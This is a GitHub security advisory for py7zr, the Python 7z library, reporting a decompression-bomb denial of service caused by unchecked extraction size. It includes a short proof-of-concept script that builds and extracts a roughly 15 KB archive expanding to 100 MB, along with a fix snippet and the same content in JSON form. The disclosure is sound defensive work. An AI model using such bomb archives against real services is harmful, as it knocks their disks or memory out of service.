GHSA-GJRG-MPP7-G774

Vulnerability from github – Published: 2026-06-19 21:16 – Updated: 2026-06-19 21:16
VLAI
Summary
py7zr: Decompression bomb (zip bomb) denial of service via unchecked extraction size
Details

py7zr's Worker.decompress() extracts archive entries without tracking total decompressed size. A crafted .7z file can exhaust disk or memory before the extraction completes.

Measured: 15.6 KB archive → 100 MB output (6,556:1 ratio).

Proof of concept:

import py7zr, tempfile, os

# create bomb: compress 100MB of zeros into ~15KB
bomb_path = tempfile.mktemp(suffix='.7z')
with py7zr.SevenZipFile(bomb_path, 'w') as z:
    import io
    z.writef(io.BytesIO(b'\x00' * 100 * 1024 * 1024), 'bomb.bin')

print(f'archive size: {os.path.getsize(bomb_path):,} bytes')

# extract — no size check
with py7zr.SevenZipFile(bomb_path, 'r') as z:
    z.extractall(path=tempfile.mkdtemp())

print('extracted 100 MB from ~15 KB archive')

Root cause: Worker.decompress() in py7zr/worker.py writes decompressed data directly to disk without a running total or configurable size limit. There is no equivalent of Python's zipfile max_size parameter.

Fix: track cumulative decompressed bytes and raise before writing if a limit is exceeded:

MAX_EXTRACT_SIZE = 2 * 1024 ** 3  # 2 GB default, configurable

total = 0
for chunk in decompressed_chunks:
    total += len(chunk)
    if total > MAX_EXTRACT_SIZE:
        raise py7zr.exceptions.DecompressionBombError(
            f'Extraction aborted: decompressed size exceeded {MAX_EXTRACT_SIZE} bytes'
        )
    outfile.write(chunk)

Tested on py7zr 0.22.0, Python 3.12, Ubuntu 22.04.

Severity
6.9 (Medium)
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.1.2"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "py7zr"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55195"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-19T21:16:29Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "py7zr\u0027s `Worker.decompress()` extracts archive entries without tracking total decompressed size. A crafted `.7z` file can exhaust disk or memory before the extraction completes.\n\nMeasured: 15.6 KB archive \u2192 100 MB output (6,556:1 ratio).\n\n**Proof of concept:**\n\n```python\nimport py7zr, tempfile, os\n\n# create bomb: compress 100MB of zeros into ~15KB\nbomb_path = tempfile.mktemp(suffix=\u0027.7z\u0027)\nwith py7zr.SevenZipFile(bomb_path, \u0027w\u0027) as z:\n    import io\n    z.writef(io.BytesIO(b\u0027\\x00\u0027 * 100 * 1024 * 1024), \u0027bomb.bin\u0027)\n\nprint(f\u0027archive size: {os.path.getsize(bomb_path):,} bytes\u0027)\n\n# extract \u2014 no size check\nwith py7zr.SevenZipFile(bomb_path, \u0027r\u0027) as z:\n    z.extractall(path=tempfile.mkdtemp())\n\nprint(\u0027extracted 100 MB from ~15 KB archive\u0027)\n```\n\n**Root cause:** `Worker.decompress()` in `py7zr/worker.py` writes decompressed data directly to disk without a running total or configurable size limit. There is no equivalent of Python\u0027s `zipfile` `max_size` parameter.\n\n**Fix:** track cumulative decompressed bytes and raise before writing if a limit is exceeded:\n\n```python\nMAX_EXTRACT_SIZE = 2 * 1024 ** 3  # 2 GB default, configurable\n\ntotal = 0\nfor chunk in decompressed_chunks:\n    total += len(chunk)\n    if total \u003e MAX_EXTRACT_SIZE:\n        raise py7zr.exceptions.DecompressionBombError(\n            f\u0027Extraction aborted: decompressed size exceeded {MAX_EXTRACT_SIZE} bytes\u0027\n        )\n    outfile.write(chunk)\n```\n\nTested on py7zr 0.22.0, Python 3.12, Ubuntu 22.04.",
  "id": "GHSA-gjrg-mpp7-g774",
  "modified": "2026-06-19T21:16:29Z",
  "published": "2026-06-19T21:16:29Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/miurahr/py7zr/security/advisories/GHSA-gjrg-mpp7-g774"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/miurahr/py7zr"
    },
    {
      "type": "WEB",
      "url": "https://github.com/miurahr/py7zr/releases/tag/v1.1.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "py7zr: Decompression bomb (zip bomb) denial of service via unchecked extraction size"
}



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